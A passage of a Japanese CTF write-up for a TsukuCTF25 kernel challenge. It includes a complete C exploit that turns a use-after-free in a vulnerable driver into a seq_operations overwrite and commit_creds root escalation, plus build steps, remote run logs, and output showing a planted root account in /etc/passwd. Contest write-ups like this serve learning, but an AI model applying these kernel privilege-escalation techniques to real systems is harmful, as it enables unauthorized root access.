vuln 12288 0 - Live 0xffffffffc0000000 (O)
UAF Writeします。ENTERキーを押してください。gdbアタッチするなら今がいいです。

readします。このときにUAF Write結果によるカーネル権限任意コード実行が発動するはずです。
closeします。
/tmp/evil.sh
modprobe_pathへ書き込んだファイルが実行されたはずです。
TsukuCTF25{REDACTED}
~ $ ls -AlF /dev/sdb
brwxrwxrwx    1 root     root        8,  16 May 12 14:46 /dev/sdb
~ $ cat /etc/passwd
root:x:0:0:root:/root:/bin/sh
ctf:x:1000:1000:Linux User,,,:/home/ctf:/bin/sh
w00t:$1$kQJql9HV$ZCmAvjJPWyqSgkrfWBcsU1:0:0:root:/root:/bin/sh
~ $ su w00t
Password:
/ # whoami
root
/ #

おまけとして調査観点として、配布ファイルのvmlinuxファイルをIDAで確認しました:

  • __sock_create関数を見ると、__request_module関数の呼び出しパスが存在します(なおIDAの逆コンパイル画面では、先頭のアンダースコアが1つ少ない_sock_create_request_module表示です)。そのためCONFIG_MODULESオプションが定義されていることが分かります:
    if ( !net_families[v7] )
      _request_module(1, "net-pf-%d", v7);
  • ついでにcall_usermodehelper_setup関数を見ると、第1引数のpathを使用しています。そのため本問題ではCONFIG_STATIC_USERMODEHELPERオプションが未設定のようです:
    result->path = path;

最終的な成功ソルバー、実行結果、フラグ

コンテスト中に成功した、commit_creds(prepare_kernel_cred(addr_init_task))手法の成功ソルバーです:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>

#define CMD_ALLOC 0xf000
#define CMD_WRITE 0xf001
#define CMD_FREE 0xf002

#define OBJ_SIZE 0x20

// main先頭でアドレスを出力します
void* escalate_privilege(void)
{
    // 「grep prepare_kernel_cred /proc/kallsyms」等で確認、IDAでも分かります
    auto prepare_kernel_cred = (void *(*)(void *))0xffffffff812a11f0;
    auto commit_creds = (int (*)(void *))0xffffffff812a1050;

    // IDAのNamesタブから確認
    auto addr_init_task = (void *)0xFFFFFFFF81E0C480; // init_taskのアドレス
    auto addr_init_cred = (void *)0xFFFFFFFF81E3BFA0; // init_credのアドレス

    // どちらでも権限昇格できます
    if (true)
        commit_creds(prepare_kernel_cred(addr_init_task));
    else
        commit_creds(addr_init_cred);
    return 0;
}

typedef struct request_t
{
    size_t size;
    char *data;
} request_t;
static_assert(sizeof(request_t) == 0x10);

int main()
{
    printf("Compiled time: %s %s\n", __DATE__, __TIME__);
    printf("escalate_privilege = %p\n", &escalate_privilege);
    system("cat /proc/modules");

    int fd_vuln = open("/dev/vuln", O_RDWR);
    if (fd_vuln == -1)
    {
        perror("Failed to open /dev/vuln");
        return 1;
    }

    void* (*fake_seq_operations[4])(void) = {&escalate_privilege, &escalate_privilege, &escalate_privilege, &escalate_privilege};
    static_assert(sizeof(fake_seq_operations) == OBJ_SIZE);

    request_t req = {
        .size = sizeof(fake_seq_operations),
        .data = (char *)fake_seq_operations,
    };

    // マシン起動から最初のCMD_Allocのみが成功する。
    if (ioctl(fd_vuln, CMD_ALLOC, &req) == -1)
    {
        perror("ioctl for CMD_ALLOC");
        puts("カーネル起動から最初のCMD_ALLOCのみ成功します。");
        exit(1);
    }

    if (ioctl(fd_vuln, CMD_FREE, &req) == -1)
    {
        perror("ioctl for CMD_FREE");
        exit(1);
    }

    // 同一サイズのseq_operations構造体をUAFで上書き
    // https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628#seq_operations
    int fd_stat = open("/proc/self/stat", O_RDONLY);
    if (fd_vuln == -1)
    {
        perror("Failed to open /proc/self/stat");
        return 1;
    }

    puts("UAF Writeします。ENTERキーを押してください。gdbアタッチするなら今がいいです。");
    getchar();

    if (ioctl(fd_vuln, CMD_WRITE, &req) == -1)
    {
        perror("ioctl for CMD_WRITE");
        exit(1);
    }

    puts("readします。このときにUAFによるRIP制御が発動するはずです。");
    char buffer_stat[256] = {};
    read(fd_stat, buffer_stat, sizeof(buffer_stat));
    puts("closeします。後は正常のはずです。");
    close(fd_stat);

    puts("exploit終了です。");
    // 自プロセスが権限昇格済みなので、子プロセスもrootになる
    system("/bin/sh");
}

上記exploit.cppを次のbuild.shでビルドしました:

#!/bin/bash

musl-gcc -Os -Wall -Wextra -static -o exploit exploit.cpp
strip exploit

ビルド結果を、配布ファイルupload.pyを使って、本問題のリモートサーバーへ送信して実行しました:

$ python3 upload.py exploit/exploit challs.tsukuctf.org 19000
[+] Opening connection to challs.tsukuctf.org on port 19000: Done
[*] Received command: b'hashcash -mb26 3QjjNrQqd\n'
[*] PoW result: b'1:26:250506:3qjjnrqqd::ji+CLv0u5tsQrB3a:00000000ZRWN\n'
[*] Uploading: 0/b4a0
[*] Uploading: 200/b4a0
[*] Uploading: 400/b4a0
(中略)
[*] Uploading: ae00/b4a0
[*] Uploading: b000/b4a0
[*] Uploading: b200/b4a0
[*] Uploading: b400/b4a0
[*] Switching to interactive mode
/tmp $ $ /tmp/exploit
/tmp/exploit
Compiled time: May  7 2025 00:07:27
escalate_privilege = 0x401329
vuln 12288 0 - Live 0x0000000000000000 (O)
UAF Writeします。ENTERキーを押してください。gdbアタッチするなら今がいいです。
$

readします。このときにUAFによるRIP制御が発動するはずです。
closeします。後は正常のはずです。
exploit終了です。
/tmp # $ whoami
whoami
root
/tmp # $ cat /dev/sdb
cat /dev/sdb
TsukuCTF25{n0w_u_learned_h0w_to_turn_UAF_int0_r00t}
\x00\x00\x00\x00(同様にNUL文字がしばらく続きます)

/tmp # $

pwntoolsのtube.inteactive()デフォルトプロンプトの$が重なっていて分かりづらいですが、無事にrootユーザーへ権限昇格できて、フラグを入手できました: TsukuCTF25{n0w_u_learned_h0w_to_turn_UAF_int0_r00t}

Writeup賞

運営の方に本記事をWriteup賞に選出くださりました!ありがとうございます!

感想

  • チームの皆さまがとても強かったです!高難易度問題含めて、様々な問題をどんどん解かれていきました!皆様頼もしかったですし、楽しかったです!
  • Pwnジャンルの3問全部がLinux Kernel Exploit問題で、特徴を感じました!
    • 6時間取り組み続けて、ついにPwnジャンル1問目を解けました!達成感たっぷりでした!Kernel Exploit入門完全に理解した!(ダニングクルーガー効果)
      • なおPwnジャンル2問目は全く分かりませんでした!
  • 記事内容にご指摘をいただけるのはありがたい限りです!